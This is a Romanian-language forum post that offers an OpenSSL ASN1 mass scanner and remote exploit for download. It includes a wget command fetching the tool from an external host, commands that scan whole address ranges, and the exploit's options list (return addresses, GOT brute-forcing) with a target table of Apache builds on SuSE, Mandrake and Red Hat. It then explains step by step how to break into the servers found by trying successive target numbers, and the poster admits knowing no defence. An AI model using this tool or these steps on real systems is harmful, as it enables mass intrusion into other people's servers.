 |
|
 |
|
MAD
Administrator
Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
|
|
 |
|
 |
|
 Posted: 20/10/2007 08:36 Post subject: OpenSSL ASN1 scanner. |
 |
|
Acest scanner exploateaza vulnerabilitati prin conexiunile SSL ( Secure Sockets Layer ) care este un protocol pentru Internet. Acest protocol este utilizat pentru a face un trasfer securizat client/server. Practic actioneaza ca un tunel intre client/server.
Oricum e usor de folosit .. il puteti lua de aici :
wget geocities.com/ialin2003/selena2.tgz
tar zxvf selena2.tgz
cd scan
./scan -s 69
./scan -s 69.0
./scan -s 69.0.0
./scan -s 69.0.0.0
| Code: | [root@ns scan]# cat README
/*
* OpenSSL ASN1 local & remote deallocation exploit & scanner
*
* by NightF0X <nightf0x09>
*
* Thanks to Garret and others who didn't want to have their name written for their help.
*
* This code was written in educational scope only. Open Source 4 life :P
*
*/
scanner:
---------------------------------------------------------------------
..:: Ma$$ asn-scann3r made by NightF0X ::..
..:: SPECIAL THANX TO: Garret ::..
FOLOSIRE:
./scan: [optiuni] <clasa>/<ip>
-s <clasa> clasa de unde vrei sa inceapa scanarea
-v <ip> http-scan afiseaza informatii despre server
-h helpu asta
Exemple:
pentru scan:
./scan -s 69
./scan -s 69.0
./scan -s 69.0.0
./scan -s 69.0.0.0
pentru httpdtype:
./scan -v 127.0.0.1
---------------------------------------------------------------------
./scan-v 127.0.0.1
..:: Ma$$ asn-scann3r made by NightF0X ::..
..:: DISTINCT THANX TO: Garret ::..
IP: 127.0.0.1
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:22:55 GMT
Server: Apache/1.3.34 (Unix) mod_ssl/2.8.25 OpenSSL/0.9.7g PHP/4.4.0
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Last-Modified: Mon, 24 Oct 2005 19:08:21 GMT
ETag: "3e522b-a71-435d3125;43771fe6
---------------------------------------------------------------------
./scan -s 192.168.0.1
..:: Ma$$ asn-scann3r made by NightF0X ::..
..:: EXCEPțIONAL THANX TO: Garret ::..
START SCANNING FROM: 192.168.0.1
vulnerable & exploitable servers
will be saved in file: vuln.txt
Trying 192.168.0.56
-> send_client_hello
<ok> send_client_hello
<- ok
check exploitable: YES
ctrl+c
cat vuln.txt
ip-uri vulnerabile. scanarea a inceput de la 192.168.0.1
-------------------------------------------------------------------
192.168.0.56
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:29:42 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Last-Modified: Tue, 24 May 2005 18:03:05 GMT
ETag: "471ce5-2b09-10840"
Accept-Ranges: bytes
Content-Length: 11017
Connection: close
Content-Type: text/html; charset=ISO-8859-1
-------------------------------------------------------------------
exploit:
OpenSSL ASN1 deallocation exploit for linux/x86
this copy for Codak
Options:
-h, --help - prints this help
-r, --hostname - which box you want hacked ?
(default: name returned by hostname function)
-p, --port - service port num - users connect
to it (https: 443, smtp: 25)
-c, --check - check only remote if it's exploitable, not exploit
-x, --retaddr - jmp *ecx / call *ecx instruction, (ff e1)
request use writeable address (default: 0xbfffe1ff)
frist unlink we will write it to some writeable address
-z, --retloc - free ()'s got address, some address we should rewrite it
(eg: objdump -R /path/httpd | grep free)
-v, --verbose - to be verbose
-s, --gotaddr - brute attack, guess the free's got address
(eg: 0x080xxxxx)
-e, --stack_addr - brute stack return address (default: 0xbffffefc)
-t, --type - try the knowns targets. (0 to list)
targets:
----+-------------------------------------------------------
1 | SuSE 9.0 (apache-1.3.28-60.i586.rpm)
2 | SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
3 | SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
4 | SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
5 | SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
6 | Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
7 | Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
8 | Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
9 | Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
10 | Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
11 | Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
12 | Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
13 | Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
14 | Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)
----+-------------------------------------------------------
[root@ns scan]# |
Cand in vuln.txt gasesti o versiune din targeturile de mai sus dai ./x "numarul corespunzator versiunii".
Daca in vuln.txt am gasit asa .. ex :
192.168.0.56
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:29:42 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Last-Modified: Tue, 24 May 2005 18:03:05 GMT
ETag: "471ce5-2b09-10840"
Accept-Ranges: bytes
Content-Length: 11017
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Incercam sa intram in el asa :
./x 10 192.168.0.56
Daca nu merge cu ./x 10 continuam cu ./x 11 ip ./x 12 ip ./x 13 ip ./x 14 ip
Daca nu merge nici cu astea .. inseamna ca nu se poate intra in el si mai incercati cu alte ip-uri 
Metoda de securizare impotriva acestui scanner .
Chiar nu stiu o metoda de securizare .. daca stiti voi postati aici va rog.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################
[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url] |
|
FAQ 
Log in to check your private messages 
